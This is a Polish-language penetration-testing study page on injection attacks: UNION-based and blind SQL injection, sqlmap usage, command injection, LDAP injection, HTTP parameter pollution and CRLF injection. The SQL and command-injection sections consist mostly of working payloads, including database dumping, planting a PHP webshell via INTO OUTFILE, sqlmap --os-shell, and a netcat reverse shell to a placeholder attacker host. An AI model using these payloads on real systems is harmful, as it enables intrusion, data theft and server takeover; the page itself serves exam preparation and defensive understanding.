Przejdź do głównej zawartości

Injection Attacks (SQL Injection, Command Injection, LDAP Injection)

Ataki typu Injection polegają na wstrzyknięciu złośliwego kodu do aplikacji webowej w celu manipulacji danymi lub wykonania nieautoryzowanych poleceń. W tej sekcji omówimy najczęściej spotykane rodzaje ataków: SQL Injection, Command Injection oraz LDAP Injection.


SQL Injection​

SQL Injection (SQLi) polega na manipulacji zapytaniami SQL w celu uzyskania nieautoryzowanego dostępu do bazy danych.


Ręczny SQL Injection (UNION-based)​

Automatyczne narzędzia jak sqlmap bywają zablokowane przez WAF lub zbyt hałaśliwe. Ręczne techniki są niezbędne na egzaminach OSCP/eWPTX i pozwalają w pełni zrozumieć podatność.

1️⃣ Ustalenie liczby kolumn​

Zwiększaj liczbę kolumn w ORDER BY aż do błędu — poprzednia liczba to liczba kolumn:

' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 -- ← błąd → 2 kolumny

Alternatywnie przez UNION NULL:

' UNION SELECT NULL --
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL --

2️⃣ Identyfikacja widocznych kolumn i wersji bazy​

Gdy znasz liczbę kolumn, sprawdź które są renderowane w odpowiedzi:

' UNION SELECT 1,2 --
' UNION SELECT 'a',NULL --
' UNION SELECT NULL,'a' --

Wydobądź wersję i użytkownika bazy:

' UNION SELECT VERSION(),user() --
' UNION SELECT @@version,@@datadir --

3️⃣ Enumeracja baz, tabel i kolumn przez information_schema​

Dostępne bazy danych:

' UNION SELECT schema_name,NULL FROM information_schema.SCHEMATA --

Tabele w wybranej bazie:

' UNION SELECT table_name,NULL FROM information_schema.TABLES WHERE table_schema='mydb' --

Kolumny w tabeli users:

' UNION SELECT column_name,NULL FROM information_schema.COLUMNS WHERE table_name='users' --

Dump danych:

' UNION SELECT username,password FROM users --

4️⃣ Zapis webshella przez INTO OUTFILE​

Jeśli baza działa na tym samym serwerze co web root i użytkownik MySQL ma uprawnienia FILE:

' UNION SELECT "<?php echo shell_exec($_GET['cmd']); ?>",NULL INTO OUTFILE '/var/www/html/shell.php' --

Weryfikacja dostępu:

curl "http://example.com/shell.php?cmd=id"

Wymaga: FILE privilege w MySQL, katalog web root zapisywalny dla procesu MySQL, brak secure_file_priv.

5️⃣ sqlmap –os-shell​

Gdy ręczny test potwierdził podatność i uprawnienia FILE, sqlmap może przejąć shell:

sqlmap -u "http://example.com/index.php?id=1" --os-shell

sqlmap automatycznie wgra webshell i uruchomi interaktywną konsolę. Opcja --web-root wskazuje ścieżkę jeśli autodetekcja zawodzi:

sqlmap -u "http://example.com/index.php?id=1" --os-shell --web-root="/var/www/html"

6️⃣ Wykorzystanie sqlmap​

sqlmap to narzędzie automatyzujące wykrywanie i eksploatację SQL Injection.

Podstawowe skanowanie​

sqlmap -u "http://example.com/index.php?id=1" --dbs

Opcje:

  • --dbs – wyświetla dostępne bazy danych
  • --tables – wyświetla tabele danej bazy danych
  • --columns – wyświetla kolumny w tabeli

Eksfiltracja danych​

sqlmap -u "http://example.com/index.php?id=1" -D mydb -T users --dump

Wyciąga wszystkie rekordy z tabeli users.

Wykorzystanie sesji i cookies​

Jeżeli aplikacja wymaga autoryzacji:

sqlmap -u "http://example.com/profile.php?id=5" --cookie="PHPSESSID=xyz123" --dbs

Bypassowanie filtrów​

Wiele aplikacji stosuje mechanizmy obronne, ale można je obejść stosując różne techniki:

1️⃣ Użycie znaków zastępczych​

?id=1' OR '1'='1

2️⃣ Zmiana kodowania​

W niektórych przypadkach można ominąć filtry poprzez enkodowanie znaków:

?id=1%27%20OR%20%271%27%3D%271

3️⃣ SQL Injection w JSON/API​

Jeśli aplikacja komunikuje się przez API:

{"user": "admin' OR '1'='1", "password": "test"}

Blind SQLi i czasowe ataki​

Jeżeli aplikacja nie zwraca błędów SQL, można wykorzystać Blind SQL Injection.

1️⃣ Boolean-based Blind SQLi​

Sprawdzenie, czy aplikacja zwraca różne wyniki dla TRUE/FALSE:

?id=1' AND 1=1 --
?id=1' AND 1=2 --

Jeżeli pierwszy zwraca dane, a drugi nie – aplikacja jest podatna.

2️⃣ Time-based Blind SQLi​

Jeśli aplikacja nie zwraca żadnych danych, można sprawdzić podatność przez opóźnienia:

?id=1' AND SLEEP(5) --

Jeśli serwer odpowiada z opóźnieniem, to aplikacja jest podatna na SQLi.

W sqlmap:

sqlmap -u "http://example.com/index.php?id=1" --technique=T

Command Injection​

Command Injection pozwala na wykonanie poleceń systemowych poprzez podatną aplikację.

1️⃣ Wykrywanie podatności​

Podstawowe payloady:

http://example.com/ping.php?host=127.0.0.1; id
http://example.com/ping.php?host=127.0.0.1 && whoami

2️⃣ Eksploatacja​

Przykładowe wykorzystanie:

?host=127.0.0.1 | nc -e /bin/bash attacker.com 4444

LDAP Injection​

LDAP Injection jest atakiem na systemy uwierzytelniania oparte na LDAP.

1️⃣ Przykład podatnego zapytania​

(&(user=admin)(password=mypassword))

Można go obejść poprzez:

admin)(&))(

2️⃣ LDAP Injection payloads​

  • *)(&) – bypassowanie autoryzacji
  • * – wyszukiwanie wszystkich użytkowników

HTTP Parameter Pollution (HPP)​

Żądanie może zawierać dwa parametry o tej samej nazwie: ?from=123&to=999&amount=5000&from=ABC. Specyfikacja HTTP nie rozstrzyga, którą kopię wziąć, więc każda warstwa wybiera inaczej — PHP/Apache biorą ostatnią, Tomcat pierwszą, ASP/IIS wszystkie połączone. Sam duplikat nie jest podatnością; staje się nią, gdy dwie warstwy w jednym żądaniu czytają dwie różne kopie.

Kanoniczny przypadek (Twitter unsubscribe): podpis sig chroniący link liczony był z pierwszego uid, a akcja wypisania wykonywana na drugim — walidator potwierdza nienaruszony link, wykonawca działa na wartości, której walidator nigdy nie widział.

…&uid=OFIARA&uid=NAPASTNIK&sig=…
^ podpis liczony z tego ^ akcja wykonana na tym

Wariant client-side: %26 (zakodowane &) przemyca dodatkowy parametr do URL-a składanego przez serwer, bo wartość jest dekodowana dopiero po złożeniu linku.

🧭 Zasada: sprowadź wejście do jednej, jednoznacznej postaci przed jakąkolwiek decyzją i używaj tej samej postaci w walidacji i w akcji. Test przy przeglądzie podpisanych URL-i (unsubscribe, reset hasła, magic link): czy podpis obejmuje dokładnie te bajty, na których potem działa wykonawca? — Yaworski, Real-World Bug Hunting, s. 50–59


CRLF Injection — response splitting i log injection​

Nie każde wstrzyknięcie wymaga składni — czasem wystarczy jeden znak, który w danym formacie oddziela rekordy. Znak nowej linii pełni tę rolę w dwóch miejscach:

  • Nagłówki HTTP (rekordy rozdzielone \r\n, a \r\n\r\n kończy sekcję nagłówków). Wstrzyknięcie \r\n\r\n do nagłówka Location lub Set-Cookie pozwala dopisać własne ciało odpowiedzi — to HTTP response splitting. Jeden parametr ?redirect= wstawiony bez sprawdzenia bywa źródłem dwóch podatności naraz: open redirect i response splitting.
  • Log (rekordy rozdzielone \n). Wstrzyknięcie \n pozwala dopisać własne linie logu — np. przeplatać próby zgadywania hasła sfałszowanymi wpisami „logowanie udane”, żeby alert nie wystawał ponad próg. To atak nie na aplikację, tylko na materiał dowodowy, na którym stoi cała reakcja na incydent.

🧭 Zasada: wszystko, co ma separator, jest protokołem i podlega wstrzyknięciu — log, nagłówek, CSV, plik konfiguracyjny, wiadomość na Slacka. Obrona: usuwać znaki nowej linii z niezaufanych danych oraz logować strukturalnie (timestamp i lokalizacja w kodzie dopisywane przez bibliotekę — sfałszowana linia bez metadanych sama się demaskuje). Uwaga na filtr: HTTP/1.1 każe honorować też osierocone \r, więc filtr usuwający tylko \n jest bezpieczny na serwerze, a dziurawy w przeglądarce ofiary — a blacklistę %0D%0A obchodzi się znakiem wielobajtowym (patrz moduł o kodowaniu znaków). — Mcdonald, Grokking Web Application Security; Zalewski, The Tangled Web, s. 45–47; Yaworski, Real-World Bug Hunting, s. 91–93


Ataki Injection są jednymi z najczęściej wykorzystywanych podatności w aplikacjach webowych. Kolejnym krokiem będzie analiza podatności związanych z Broken Authentication & Session Management.